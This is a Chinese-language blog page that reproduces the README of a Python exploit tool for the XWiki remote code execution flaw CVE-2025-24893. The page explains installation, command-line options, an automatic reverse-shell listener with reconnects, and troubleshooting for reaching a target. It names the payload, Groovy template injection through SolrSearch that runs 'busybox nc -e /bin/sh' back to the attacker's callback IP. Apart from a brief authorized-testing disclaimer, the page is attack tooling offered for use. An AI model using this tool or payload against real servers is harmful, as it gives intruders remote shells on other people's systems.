XWiki平台远程代码执行漏洞CVE-2025-24893利用工具详解

本文详细介绍了针对XWiki平台CVE-2025-24893漏洞的Python利用工具,包含自包含的反向Shell监听器、自动协议检测、交互式Shell功能以及自动重连机制,支持自定义回调IP和端口配置。

CVE-2025-24893 - XWiki平台远程代码执行漏洞利用

一个针对CVE-2025-24893的Python漏洞利用工具,该漏洞是XWiki平台中的远程代码执行漏洞。此利用工具包含使用pwntools的自包含反向Shell监听器。

描述

此利用工具针对易受CVE-2025-24893攻击的XWiki平台安装,通过SolrSearch组件中的模板注入漏洞实现远程代码执行。该工具会自动启动反向Shell监听器,并在成功利用后提供交互式Shell。

要求

  • Python 3.x
  • requests
  • pwntools

安装

推荐:使用UV(现代Python包管理器)

1
2
3
4
5
# 如果没有UV,请安装
curl -LsSf https://astral.sh/uv/install.sh | sh

# 安装依赖
uv pip install requests pwntools

替代方案:使用pip

1
pip install requests pwntools

使用方法

基本用法

1
python3 CVE-2025-24893.py 

示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 使用默认回调地址的基本用法(0.0.0.0:9521)
python3 CVE-2025-24893.py example.com

# 自定义回调IP和端口
python3 CVE-2025-24893.py example.com -i 192.168.1.100 -p 4444

# 跳过初始测试直接进行反向Shell
python3 CVE-2025-24893.py example.com --no-test

# 自定义重连尝试次数
python3 CVE-2025-24893.py example.com --max-reconnects 10

# 完整自定义配置
python3 CVE-2025-24893.py example.com -i 10.0.0.5 -p 8080 --no-test --max-reconnects 3

命令行参数

  • target: 目标URL(必需)

    • 可以是仅域名:example.com
    • 可以包含协议:http://example.comhttps://example.com
  • -i, --ip: 反向Shell的回调IP(默认:0.0.0.0)

    • 使用0.0.0.0在所有接口上监听
    • 使用特定IP(如192.168.1.100)绑定到特定接口
  • -p, --port: 反向Shell的回调端口(默认:9521)

  • --no-test: 跳过初始测试直接进行反向Shell

  • --max-reconnects: Shell断开时的最大重连尝试次数(默认:5)

工作原理

  1. 协议检测:自动检测目标是否支持HTTP或HTTPS
  2. 测试阶段:运行测试命令(id)验证利用是否有效
  3. 监听器设置:使用pwntools自动启动反向Shell监听器
  4. 载荷执行:向目标发送反向Shell载荷
  5. 交互式Shell:成功连接后提供交互式Shell
  6. 自动重连:如果Shell断开,自动重新建立连接

自包含反向Shell

此利用工具是自包含的,不需要手动设置netcat:

  • 自动在指定IP和端口上启动监听器
  • 自动处理反向Shell连接
  • 提供交互式Shell界面
  • 无需手动运行nc -lvp

自动重连

该利用工具包含强大的重连功能:

  • EOF处理:自动检测Shell连接断开
  • 自动恢复:重新建立监听器并重新发送利用载荷
  • 可配置重试:设置最大重连尝试次数(默认:5)
  • 优雅降级:持续尝试直到达到最大尝试次数

重连行为

当Shell连接断开时(EOF错误):

  1. 检测连接丢失
  2. 关闭旧监听器
  3. 启动新监听器
  4. 重新发送利用载荷
  5. 重新建立Shell连接
  6. 继续交互式会话

载荷详情

该利用工具使用Groovy模板注入载荷,执行:

1
busybox nc   -e /bin/sh

特性

  • 自动协议检测:自动检测HTTP/HTTPS
  • 自包含监听器:无需手动netcat设置
  • 交互式Shell:成功利用后提供完整交互式Shell
  • 测试模式:可选测试阶段验证利用是否有效
  • 灵活配置:可自定义回调IP和端口
  • 自动重连:自动处理连接断开
  • 强大错误处理:优雅处理各种错误条件

故障排除

常见问题

  1. “地址已在使用中”:使用-p标志更改端口
  2. “权限被拒绝”:尝试使用端口>1024或以sudo运行
  3. 未收到连接
    • 验证目标是否易受攻击
    • 检查目标是否能访问您的回调IP
    • 确保没有防火墙阻止连接
  4. “在交互发送时收到EOF”
    • 脚本会自动处理并重新建立连接
    • 如果持续存在,请检查网络稳定性或增加--max-reconnects

网络注意事项

  • 回调IP应该可以从目标访问
  • 使用0.0.0.0在所有接口上监听
  • 对于外部目标,确保您的IP可公开访问
  • 不稳定的网络可能需要更高的重连限制

免责声明

此工具仅用于教育和授权测试目的。在测试任何系统之前,请确保您拥有适当的授权。

致谢

  • 作者:nopgadget
  • 基于:Al Baradi Joy的原始脚本

许可证

此项目仅用于教育目的。请负责任地使用,并且仅在您拥有或获得明确测试权限的系统上使用。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计